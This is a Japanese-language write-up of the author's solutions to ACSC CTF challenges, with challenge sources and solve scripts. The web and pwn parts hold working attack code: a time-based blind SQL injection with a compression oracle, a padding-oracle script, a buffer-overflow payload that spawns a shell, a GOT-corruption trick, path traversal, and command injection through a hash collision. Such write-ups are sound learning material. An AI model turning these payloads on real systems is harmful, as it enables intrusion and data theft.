9/18-19 で開催していた ACSC に参加しました。個人戦なので当然ソロ参加です。結果は 18th/483 (得点のあるチームのみカウント) でした。 Crypto が1問解けなかったのと、 Web のそこそこ解かれている問題が解けなかったのが結構悔しいです… 以下、解けた問題についての writeup です。
Crypto
Wonderful Hash
11 solves
import os
import string
from Crypto.Cipher import AES, ARC4, DES
BLOCK = 16
def bxor(a, b):
res = [c1 ^ c2 for (c1, c2) in zip(a, b)]
return bytes(res)
def block_hash(data):
data = AES.new(data, AES.MODE_ECB).encrypt(b"\x00" * AES.block_size)
data = ARC4.new(data).encrypt(b"\x00" * DES.key_size)
data = DES.new(data, DES.MODE_ECB).encrypt(b"\x00" * DES.block_size)
return data[:-2]
def hash(data):
length = len(data)
if length % BLOCK != 0:
pad_len = BLOCK - length % BLOCK
data += bytes([pad_len] * pad_len)
length += pad_len
block_cnt = length // BLOCK
blocks = [data[i * BLOCK:(i + 1) * BLOCK] for i in range(block_cnt)]
res = b"\x00" * BLOCK
for block in blocks:
res = bxor(res, block_hash(block))
return res
def check(cmd, new_cmd):
if len(cmd) != len(new_cmd):
return False
if hash(cmd) != hash(new_cmd):
return False
for c in new_cmd:
if chr(c) not in string.printable:
return False
return True
cmd = (b"echo 'There are a lot of Capture The Flag (CTF) competitions in "
b"our days, some of them have excelent tasks, but in most cases "
b"they're forgotten just after the CTF finished. We decided to make"
b" some kind of CTF archive and of course, it'll be too boring to "
b"have just an archive, so we made a place, where you can get some "
b"another CTF-related info - current overall Capture The Flag team "
b"rating, per-team statistics etc'")
def menu():
print("[S]tore command")
print("[E]xecute command")
print("[F]iles")
print("[L]eave")
return input("> ")
while True:
choice = menu()
if choice[0] == "S":
new_cmd = input().encode()
if check(cmd, new_cmd):
cmd = new_cmd
else:
print("Oops!")
exit(1)
elif choice[0] == "E":
os.system(cmd)
elif choice[0] == "F":
os.system(b"ls")
elif choice[0] == "L":
break
else:
print("Command Unsupported")
exit(1)
AES, ARC4, DES を使った自前ハッシュ関数の問題です。事前に用意されている cmd
と同じハッシュかつ同じ文字列長のコマンドを実行することができます。 ./flag
というファイルがあるので cat flag
等を実行できればよさそうです。
ハッシュは16bytesのブロックごとに 16->6bytes の変換がされ、各ブロックで xor を取っています。 cmd
の文字列長を考慮すると27ブロックとなります。
最初のブロックを cat flag;#AAAAAA
とすれば以降の文字が何であれフラグを表示できます。このブロックを BLOCK
とすると、 BLOCK||BLOCK||...||BLOCK
と偶数個くっつけるとその部分のハッシュは0になります。
そのため、 cmd
の奇数個 (3以上) のブロックのハッシュと衝突する16文字を見つけることができれば (DUMMY
とする)、 BLOCK||...||BLOCK||DUMMY||cmdのDUMMY計算に使われない部分
とすればハッシュが cmd
と一致します。なのでそのような16文字を見つけにいきます。
いい方法が思いつかなかったので力技でやりました…
d_inv = {}
while True:
tmp = "".join([random.choice(string.printable) for _ in range(16)]).encode()
d_inv[block_hash(tmp)] = tmp
このようなコードでハッシュ→文字列のマップを作ります。他の問題解きながら集めていたら 35747199 個集まっていました…えぐい
from itertools import combinations
blocks = [data[i * BLOCK:(i + 1) * BLOCK] for i in range(block_cnt)]
hashes = [block_hash(block) for block in blocks]
for r in range(3, 27, 2):
print(r)
for i_list in combinations(range(len(blocks)-1), r=r):
res = b"\x00" * 16
for i in i_list:
res = bxor(res, hashes[i])
tmp = d_inv.get(res, None)
if tmp is not None:
print(tmp, res, i_list, r)
これで cmd
の一部のハッシュと一致する文字を探します。1つだけ見つかりました。
cmd
のブロックの (0, 3, 6, 16, 17, 20, 22, 23, 25)
番目のハッシュと b’h[=<JB^dl&v`(~W\’ のハッシュが衝突するようです。
以上の情報をもとに新しい cmd
を作ります。
use = b'h[=<JB^dl&v`(~W\\'
idx_list = (0, 3, 6, 16, 17, 20, 22, 23, 25)
payload_blocks = blocks.copy()
payload_cmd = b"cat flag;#"
payload_cmd += b"A" * (16 - len(payload_cmd))
for i in idx_list[:-1]:
payload_blocks[i] = payload_cmd
payload_blocks[idx_list[-1]] = use
payload = b"".join(payload_blocks)
payload[:-15]
cat flag;#AAAAAAa lot of Capture The Flag (CTF) cat flag;#AAAAAAour days, some of them have excecat flag;#AAAAAAin most cases they're forgotten just after the CTF finished. We decided to make some kind of CTF archive and of course, it'll be too boring to hcat flag;#AAAAAAcat flag;#AAAAAAa place, where you can get some cat flag;#AAAAAAted info - currecat flag;#AAAAAAcat flag;#AAAAAA rating, per-teah[=<JB^dl&v`(~W\'
これを実行させることでフラグが表示されました。
ACSC{M1Tm_i5_FunNY_But_Painfu1}
Secret Saver
12 solves
<?php
include "config.php";
$msg = $_POST['msg'] ?? "";
$name = $_POST['name'] ?? "";
if ( strlen($name) < 4 || strlen($msg) < 8 )
highlight_file(__FILE__) && exit();
$data = array(
"name" => $name,
"msg" => $msg,
"flag" => "ACSC{" . $KEY . "}" // try to get this flag!
);
$iv = openssl_random_pseudo_bytes(16);
$data = gzcompress(json_encode($data));
$data = openssl_encrypt($data, 'aes-256-ctr', $KEY, OPENSSL_RAW_DATA, $iv);
$data = bin2hex( $iv . $data );
$conn = new mysqli($HOST, $USER, $PASS, $NAME);
$sql = sprintf("insert into msgs (msg, name) values('%s', '%s')", $data, $name);
if (!$conn->query($sql))
die($conn->error);
echo $conn->insert_id;
$conn->close();
入力したデータとフラグの文字列の json について、 gzcompress
のあと AES の CTR モードで暗号化したものを DB に突っ込んでいます。
CTR モードなので平文と暗号文は同じ文字列になります。 gzcompress
は同じ文字列が繰り返されていると圧縮率が高まるため name
や msg
に ACTF{X
を入れたときに X
がフラグの1文字目と一致しているときだけ暗号化後の data
が短くなることが期待されます。なので SQLi で DB 内の data
の長さをリークさせることができればフラグを復元できそうです。
SQLi は '||IF(LENGTH((select msg from (SELECT msg FROM msgs WHERE id={id_})tmp))=174,SLEEP(10),0)||'
のようなクエリを投げることで行いました。この例でいうと、 id_ = $conn->insert_id
の長さが174のときだけ10秒 sleep が入ります。
# 長さのリーク
flag = "AAAACSC{"
res = requests.post(url, data={"msg": flag*2, "name": flag*2})
id_ = res.text
for i in range(160, 300):
print(i)
now = time.perf_counter()
res = requests.post(url, data={"msg": "testtest", "name": f"'||IF(LENGTH((select msg from (SELECT msg FROM msgs WHERE id={id_})tmp))={i},SLEEP(10),0)||'"})
duration = time.perf_counter() - now
if duration >= 10:
print("found!", i)
break
# 文字列を決めていく
flag = "AAAACSC{"
for idx in range(32):
for i in range(32, 128):
c = chr(i)
if c in "\\'":
continue
print(c)
res = requests.post(url, data={"msg": (flag+c)*2, "name": (flag+c)*2})
id_ = int(res.text)
now = time.perf_counter()
res = requests.post(url, data={"msg": "testtest", "name": f"'||IF(LENGTH((select msg from (SELECT msg FROM msgs WHERE id={id_})tmp))=174,SLEEP(2),0)||'"})
duration = time.perf_counter() - now
if duration >= 2:
print("found!", c)
flag += c
print(flag)
break
else:
raise RuntimeError
ACSC{MAK3-CRiME-4TT4CK-GREAT-AGaiN!}
途中で暗号文の長さが変わったり、フラグの文字列が32文字だと思いこんでいたりでめちゃくちゃ手こずってしまった…
Two Rabin
20 solves
import random
from Crypto.Util.number import *
from Crypto.Util.Padding import pad
from flag import flag
p = getStrongPrime(512)
q = getStrongPrime(512)
n = p * q
B = getStrongPrime(512)
m = flag[0:len(flag)//2]
print("flag1_len =",len(m))
m1 = bytes_to_long(m)
m2 = bytes_to_long(pad(m,128))
assert m1 < n
assert m2 < n
c1 = (m1*(m1+B)) % n
c2 = (m2*(m2+B)) % n
print("n =",n)
print("B =",B)
print("c1 =",c1)
print("c2 =",c2)
# Harder!
m = flag[len(flag)//2:]
print("flag2_len =",len(m))
m1 = bytes_to_long(m)
m1 <<= ( (128-len(m))*8 )
m1 += random.SystemRandom().getrandbits( (128-len(m))*8 )
m2 = bytes_to_long(m)
m2 <<= ( (128-len(m))*8 )
m2 += random.SystemRandom().getrandbits( (128-len(m))*8 )
assert m1 < n
assert m2 < n
c1 = (m1*(m1+B)) % n
c2 = (m2*(m2+B)) % n
print("hard_c1 =",c1)
print("hard_c2 =",c2)
前半
m
の文字列長がわかっているので、 pad
の結果も既知です。 m2 == m1 * 256**(128 - 98) + int("1e" * 30, 16)
が成り立ちます。これで連立方程式が解けます。
a = 256 ** (128 - 98)
d = int("1e" * 30, 16)
m1 = (c2 - a^2*c1 - d^2 - B*d) * pow(2*a*d + B*a - a^2*B, -1, n)
ACSC{Rabin_cryptosystem_was_published_in_January_1979_ed82c25b173f38624f7ba16247c31d04ca22d8652da4
後半
128bytes の m1
と m2
は下位32bytes だけ異なっています。Franklin-Reiter releated message attack が使えそうです。https://inaz2.hatenablog.com/entry/2016/01/20/022936 を参考にさせていただきました。
from Crypto.Util.number import long_to_bytes
PRxy.<x,y> = PolynomialRing(Zmod(n))
PRx.<xn> = PolynomialRing(Zmod(n))
PRZZ.<xz,yz> = PolynomialRing(Zmod(n))
g1 = x*(x+B) - hard_c1
g2 = (x+y)*(x+y+B) - hard_c2
q1 = g1.change_ring(PRZZ)
q2 = g2.change_ring(PRZZ)
h = q2.resultant(q1)
h = h.univariate_polynomial()
h = h.change_ring(PRx).subs(y=xn)
h = h.monic()
def gcd(g1, g2):
while g2:
g1, g2 = g2, g1 % g2
return g1.monic()
roots = h.small_roots(epsilon=0.014)
diff = 1637558660573652475698054766420163959191730746581158985657024969935597275
diff = 105663510238670420757255989578978162666434740162415948750279893317701612062865075870926559751210244886747509597507458509604874043682717453885668881354391379276091832437791327382673554621542363370695590872213882821916016679451005257003324807101635213925825667932900258849901826251288979045274120411473033890824
PRx.<x> = PolynomialRing(Zmod(n))
for diff in roots:
g1 = x*(x+B) - hard_c1
g2 = (x+diff)*(x+diff+B) - hard_c2
long_to_bytes(-gcd(g1, g2)[0])
a1d701b0966ffa10a4d1_ec0c177f446964ca9595c187869312b2c0929671ca9b7f0a27e01621c90a9ac255_wow_GJ!!!}
ACSC{Rabin_cryptosystem_was_published_in_January_1979_ed82c25b173f38624f7ba16247c31d04ca22d8652da4a1d701b0966ffa10a4d1_ec0c177f446964ca9595c187869312b2c0929671ca9b7f0a27e01621c90a9ac255_wow_GJ!!!}
Swap on Curve
34 solves
from params import p, a, b, flag, y
x = int.from_bytes(flag, "big")
assert 0 < x < p
assert 0 < y < p
assert x != y
EC = EllipticCurve(GF(p), [a, b])
assert EC(x,y)
assert EC(y,x)
print("p = {}".format(p))
print("a = {}".format(a))
print("b = {}".format(b))
楕円曲線 が与えられています。 がどちらも曲線上に乗っているときの がフラグとなっています。
を変形して、 とします。これに を代入することで についての9次式になります。これを解きます。
(前 twitter で joseph さんに教えてもらった Ideal([...]).variety()
を使う方法は、 NotImplementedError: Factorization of multivariate polynomials over prime fields with characteristic > 2^29 is not implemented.
というエラーで刺さりませんでした…)
from Crypto.Util.number import long_to_bytes
p = 10224339405907703092027271021531545025590069329651203467716750905186360905870976608482239954157859974243721027388367833391620238905205324488863654155905507
a = 4497571717921592398955060922592201381291364158316041225609739861880668012419104521771916052114951221663782888917019515720822797673629101617287519628798278
b = 1147822627440179166862874039888124662334972701778333205963385274435770863246836847305423006003688412952676893584685957117091707234660746455918810395379096
EC = EllipticCurve(GF(p), [a, b])
PR.<y> = PolynomialRing(Zmod(p))
x2 = y^3 + a*y + b
f = (x2)^3 + 2*a*(x2)^2 + a^2*(x2) - (y^2 - b)^2
for root in f.roots():
long_to_bytes(root[0])
ACSC{have_you_already_read_the_swap<-->swap?}
CBCBC
35 solves
#!/usr/bin/env python3
import base64
import json
import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from secret import hidden_username, flag
key = os.urandom(16)
print(key)
iv1 = os.urandom(16)
print(iv1)
iv2 = os.urandom(16)
print(iv2)
def encrypt(msg):
aes1 = AES.new(key, AES.MODE_CBC, iv1)
aes2 = AES.new(key, AES.MODE_CBC, iv2)
enc = aes2.encrypt(aes1.encrypt(pad(msg, 16)))
return iv1 + iv2 + enc
def decrypt(msg):
iv1, iv2, enc = msg[:16], msg[16:32], msg[32:]
aes1 = AES.new(key, AES.MODE_CBC, iv1)
aes2 = AES.new(key, AES.MODE_CBC, iv2)
msg = unpad(aes1.decrypt(aes2.decrypt(enc)), 16)
return msg
def create_user():
username = input("Your username: ")
if username:
data = {"username": username, "is_admin": False}
else:
# Default token
data = {"username": hidden_username, "is_admin": True}
token = encrypt(json.dumps(data).encode())
print("Your token: ")
print(base64.b64encode(token).decode())
def login():
username = input("Your username: ")
token = input("Your token: ").encode()
try:
data_raw = decrypt(base64.b64decode(token))
except:
print("Failed to login! Check your token again")
return None
try:
data = json.loads(data_raw.decode())
except:
print("Failed to login! Your token is malformed")
return None
if "username" not in data or data["username"] != username:
print("Failed to login! Check your username again")
return None
return data
def none_menu():
print("1. Create user")
print("2. Log in")
print("3. Exit")
try:
inp = int(input("> "))
except ValueError:
print("Wrong choice!")
return None
if inp == 1:
create_user()
return None
elif inp == 2:
return login()
elif inp == 3:
exit(0)
else:
print("Wrong choice!")
return None
def user_menu(user):
print("1. Show flag")
print("2. Log out")
print("3. Exit")
try:
inp = int(input("> "))
except ValueError:
print("Wrong choice!")
return None
if inp == 1:
if "is_admin" in user and user["is_admin"]:
print(flag)
else:
print("No.")
return user
elif inp == 2:
return None
elif inp == 3:
exit(0)
else:
print("Wrong choice!")
return None
def main():
user = None
print("Welcome to CBCBC flag sharing service!")
print("You can get the flag free!")
print("This is super-duper safe from padding oracle attacks,")
print("because it's using CBC twice!")
print("=====================================================")
while True:
if user:
user = user_menu(user)
else:
user = none_menu()
if __name__ == "__main__":
main()
AES CBC モードを2回行っています。 AES を2つ縦に書いてみるとすぐわかりますが、いつもの padding oracle attack が1ブロックではなく2ブロック分ずれているだけです。
from base64 import b64decode, b64encode
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
from pwn import remote
# io = remote("localhost", 1337)
io = remote("cbcbc.chal.acsc.asia", 52171)
io.sendlineafter("> ", b"1")
io.sendlineafter("username: ", b"")
io.recvline()
admin_token = b64decode(io.recvline().strip())
iv1 = admin_token[:16]
iv2 = admin_token[16:32]
admin_token = admin_token[32:]
saved_admin_token = admin_token
saved_iv2 = iv2
saved_iv1 = iv1
def try_decrypt(msg):
io.sendlineafter("> ", b"2")
io.sendlineafter("username: ", b"hoge")
io.sendlineafter("token: ", b64encode(msg))
ret = io.recvline().strip().decode()
if "Check your token" in ret:
return False
else:
return True
admin_token = saved_admin_token
dec = b""
idx = 15
for idx in range(16)[::-1]:
print(idx)
for i in range(256):
if idx == 15 and i == 0:
continue
tmp_admin_token = admin_token[:idx] + long_to_bytes(admin_token[idx] ^ i) + admin_token[idx+1:]
if try_decrypt(iv1 + iv2 + tmp_admin_token):
dec = long_to_bytes((16 - idx) ^ i) + dec
tmp = tmp_admin_token[:idx]
for j in range(idx, 16):
tmp += long_to_bytes(tmp_admin_token[j] ^ (16 - idx) ^ (16 - idx + 1))
tmp += tmp_admin_token[16:]
admin_token = tmp
print(dec)
break
else:
raise ValueError
admin_token = saved_admin_token[:-16]
iv2 = saved_iv2
idx = 15
for idx in range(16)[::-1]:
print(idx)
for i in range(256):
tmp_iv2 = iv2[:idx] + long_to_bytes(iv2[idx] ^ i) + iv2[idx+1:]
# tmp_admin_token = admin_token[:idx] + long_to_bytes(admin_token[idx] ^ i) + admin_token[idx+1:]
if try_decrypt(iv1 + tmp_iv2 + admin_token):
dec = long_to_bytes((16 - idx) ^ i) + dec
tmp = tmp_iv2[:idx]
for j in range(idx, 16):
tmp += long_to_bytes(tmp_iv2[j] ^ (16 - idx) ^ (16 - idx + 1))
tmp += tmp_iv2[16:]
iv2 = tmp
print(dec)
break
else:
raise ValueError
admin_token = saved_admin_token[:-32]
iv1 = saved_iv1
idx = 15
for idx in range(16)[::-1]:
print(idx)
for i in range(256):
tmp_iv1 = iv1[:idx] + long_to_bytes(iv1[idx] ^ i) + iv1[idx+1:]
# tmp_admin_token = admin_token[:idx] + long_to_bytes(admin_token[idx] ^ i) + admin_token[idx+1:]
if try_decrypt(tmp_iv1 + iv2 + admin_token):
dec = long_to_bytes((16 - idx) ^ i) + dec
tmp = tmp_iv1[:idx]
for j in range(idx, 16):
tmp += long_to_bytes(tmp_iv1[j] ^ (16 - idx) ^ (16 - idx + 1))
tmp += tmp_iv1[16:]
iv1 = tmp
print(dec)
break
else:
raise ValueError
ACSC{wow_double_CBC_mode_cannot_stop_you_from_doing_padding_oracle_attack_nice_job}
RSA stream
121 solves
import gmpy2
from Crypto.Util.number import long_to_bytes, bytes_to_long, getStrongPrime, inverse
from Crypto.Util.Padding import pad
from flag import m
#m = b"ACSC{<REDACTED>}" # flag!
f = open("chal.py","rb").read() # I'll encrypt myself!
print("len:",len(f))
p = getStrongPrime(1024)
q = getStrongPrime(1024)
n = p * q
e = 0x10001
print("n =",n)
print("e =",e)
print("# flag length:",len(m))
m = pad(m, 255)
m = bytes_to_long(m)
assert m < n
stream = pow(m,e,n)
cipher = b""
for a in range(0,len(f),256):
q = f[a:a+256]
if len(q) < 256:q = pad(q, 256)
q = bytes_to_long(q)
c = stream ^ q
cipher += long_to_bytes(c,256)
e = gmpy2.next_prime(e)
stream = pow(m,e,n)
open("chal.enc","wb").write(cipher)
同一の を異なる で暗号化しているので gcd
をとることで が復元できます。
from Crypto.Util.number import long_to_bytes, bytes_to_long
n = 30004084769852356813752671105440339608383648259855991408799224369989221653141334011858388637782175392790629156827256797420595802457583565986882788667881921499468599322171673433298609987641468458633972069634856384101309327514278697390639738321868622386439249269795058985584353709739777081110979765232599757976759602245965314332404529910828253037394397471102918877473504943490285635862702543408002577628022054766664695619542702081689509713681170425764579507127909155563775027797744930354455708003402706090094588522963730499563711811899945647475596034599946875728770617584380135377604299815872040514361551864698426189453
e0 = 65537
e1 = 65539
with open("./distfiles/chal.py", "rb") as fp:
f = fp.read()
with open("./distfiles/chal.enc", "rb") as fp:
cipher = fp.read()
q0 = f[0: 256]
q0 = bytes_to_long(q0)
c0 = bytes_to_long(cipher[0: 256])
stream0 = q0 ^^ c0
q1 = f[256: 512]
q1 = bytes_to_long(q1)
c1 = bytes_to_long(cipher[256: 512])
stream1 = q1 ^^ c1
PR.<x> = PolynomialRing(Zmod(n))
f0 = x ** e0 - stream0
f1 = x ** e1 - stream1
if f0.degree() < f1.degree():
f0, f1 = f1, f0
while f1 != 0:
f0, f1 = f1, f0 % f1
m = int(-f0[0] * f0[1].inverse_of_unit())
long_to_bytes(m)
ACSC{changing_e_is_too_bad_idea_1119332842ed9c60c9917165c57dbd7072b016d5b683b67aba6a648456db189c}
Pwn
histogram
38 solves
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include <limits.h>
#define WEIGHT_MAX 600 // kg
#define HEIGHT_MAX 300 // cm
#define WEIGHT_STRIDE 10
#define HEIGHT_STRIDE 10
#define WSIZE (WEIGHT_MAX/WEIGHT_STRIDE)
#define HSIZE (HEIGHT_MAX/HEIGHT_STRIDE)
int map[WSIZE][HSIZE] = {0};
int wsum[WSIZE] = {0};
int hsum[HSIZE] = {0};
/* Fatal error */
void fatal(const char *msg) {
printf("{\"status\":\"error\",\"reason\":\"%s\"}", msg);
exit(1);
}
/* Call this function to get the flag! */
void win(void) {
char flag[0x100];
FILE *fp = fopen("flag.txt", "r");
int n = fread(flag, 1, sizeof(flag), fp);
printf("%s", flag);
exit(0);
}
int read_data(FILE *fp) {
/* Read data */
double weight, height;
int n = fscanf(fp, "%lf,%lf", &weight, &height);
if (n == -1)
return 1; /* End of data */
else if (n != 2)
fatal("Invalid input");
/* Validate input */
if (weight < 1.0 || weight >= WEIGHT_MAX)
fatal("Invalid weight");
if (height < 1.0 || height >= HEIGHT_MAX)
fatal("Invalid height");
/* Store to map */
short i, j;
i = (short)ceil(weight / WEIGHT_STRIDE) - 1;
j = (short)ceil(height / HEIGHT_STRIDE) - 1;
map[i][j]++;
wsum[i]++;
hsum[j]++;
return 0;
}
/* Print an array in JSON format */
void json_print_array(int *arr, short n) {
putchar('[');
for (short i = 0; i < n; i++) {
printf("%d", arr[i]);
if (i != n-1) putchar(',');
}
putchar(']');
}
int main(int argc, char **argv) {
if (argc < 2)
fatal("No input file");
/* Open CSV */
FILE *fp = fopen(argv[1], "r");
if (fp == NULL)
fatal("Cannot open the file");
/* Read data from the file */
int n = 0;
while (read_data(fp) == 0)
if (++n > SHRT_MAX)
fatal("Too many input");
/* Show result */
printf("{\"status\":\"success\",\"result\":{\"wsum\":");
json_print_array(wsum, WSIZE);
printf(",\"hsum\":");
json_print_array(hsum, HSIZE);
printf(",\"map\":[");
for (short i = 0; i < WSIZE; i++) {
json_print_array(map[i], HSIZE);
if (i != WSIZE-1) putchar(',');
}
printf("]}}");
fclose(fp);
return 0;
}
コードを見ても、脆弱性なくない…?となって百年が経過しました。その割に結構解かれていたので %lf
に狙いを絞っていろいろ試したところ、 nan,nan
を入力したときにセグフォで落ちるのが確認されました。 nan
と不等号の判定は false になるんですね…
gdb
で動作を追ってみると、 got の scanf
のアドレスの値が変わっていて (1足されて) 落ちていました。 nan,nan
を nan,10
にすると書き込む場所が1ずれました。 scanf
の16bytes 先に fclose
があったので、nan,25
といれることで fclose
の値を1足すことができます。 fclose
はまだ一度も呼ばれていないので plt を指しているのですが、これを520回インクリメントすることで win
関数へ向けることができます。
なので csv として nan,25
と520行かかれたものを用意して POST するとフラグが json の後ろに付け足されて返ってきます。
ACSC{NaN_demo_iiyo}
filtered
168 solves
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
/* Call this function! */
void win(void) {
char *args[] = {"/bin/sh", NULL};
execve(args[0], args, NULL);
exit(0);
}
/* Print `msg` */
void print(const char *msg) {
write(1, msg, strlen(msg));
}
/* Print `msg` and read `size` bytes into `buf` */
void readline(const char *msg, char *buf, size_t size) {
char c;
print(msg);
for (size_t i = 0; i < size; i++) {
if (read(0, &c, 1) <= 0) {
print("I/O Error\n");
exit(1);
} else if (c == '\n') {
buf[i] = '\0';
break;
} else {
buf[i] = c;
}
}
}
/* Print `msg` and read an integer value */
int readint(const char *msg) {
char buf[0x10];
readline(msg, buf, 0x10);
return atoi(buf);
}
/* Entry point! */
int main() {
int length;
char buf[0x100];
/* Read and check length */
length = readint("Size: ");
if (length > 0x100) {
print("Buffer overflow detected!\n");
exit(1);
}
/* Read data */
readline("Data: ", buf, length);
print("Bye!\n");
return 0;
}
size = -1
を入れると length > 0x100
を無視でき、 readline
内部では size_t
として扱われるので 0xffffffff
bytes 書き込めます。
BOF で return address を win 関数に変えます。
from pwn import *
io = remote("filtered.chal.acsc.asia", 9001)
io.sendlineafter("Size: ", "-1")
io.sendlineafter("Data: ", b"A" * 0x118 + p64(0x4011d6))
io.interactive()
ACSC{GCC_d1dn'7_sh0w_w4rn1ng_f0r_1mpl1c17_7yp3_c0nv3rs10n}
Web
API
107 solves
function challenge($obj){
if ($obj->is_login()) {
$admin = new Admin();
if (!$admin->is_admin()) $admin->redirect('/api.php?#access denied');
$cmd = $_REQUEST['c2'];
if ($cmd) {
switch($cmd){
case "gu":
echo json_encode($admin->export_users());
break;
case "gd":
echo json_encode($admin->export_db($_REQUEST['db']));
break;
case "gp":
echo json_encode($admin->get_pass());
break;
case "cf":
echo json_encode($admin->compare_flag($_REQUEST['flag']));
break;
}
}
}
}
このあたりを上手く使うことで flag を読むことができそうです。
一見 $admin->is_admin()
でないと redirect されてその先に進めなそうですが、return されていないので無視できます。
import requests
url = "https://api.chal.acsc.asia"
res = requests.post(url + "/api.php", params={"id": ["Aaaabbbb"], "pw": "Bbbbbbbbb", "id": "Aaaabbbb", "c": "i", "c2": "gd", "pas": ":<vNk", "db": "../../../../../../flag"}, allow_redirects=False)
print(res.text)
/lib/db/passcode.db
や /lib/db/user.db
が見れたのでそこから頑張って admin になる方向性でずっとやっていたので時間がかかってしまった… passcode も api から入手できるし今思えば非想定挙動っぽい?
ACSC{it_is_hard_to_name_a_flag..isn't_it?}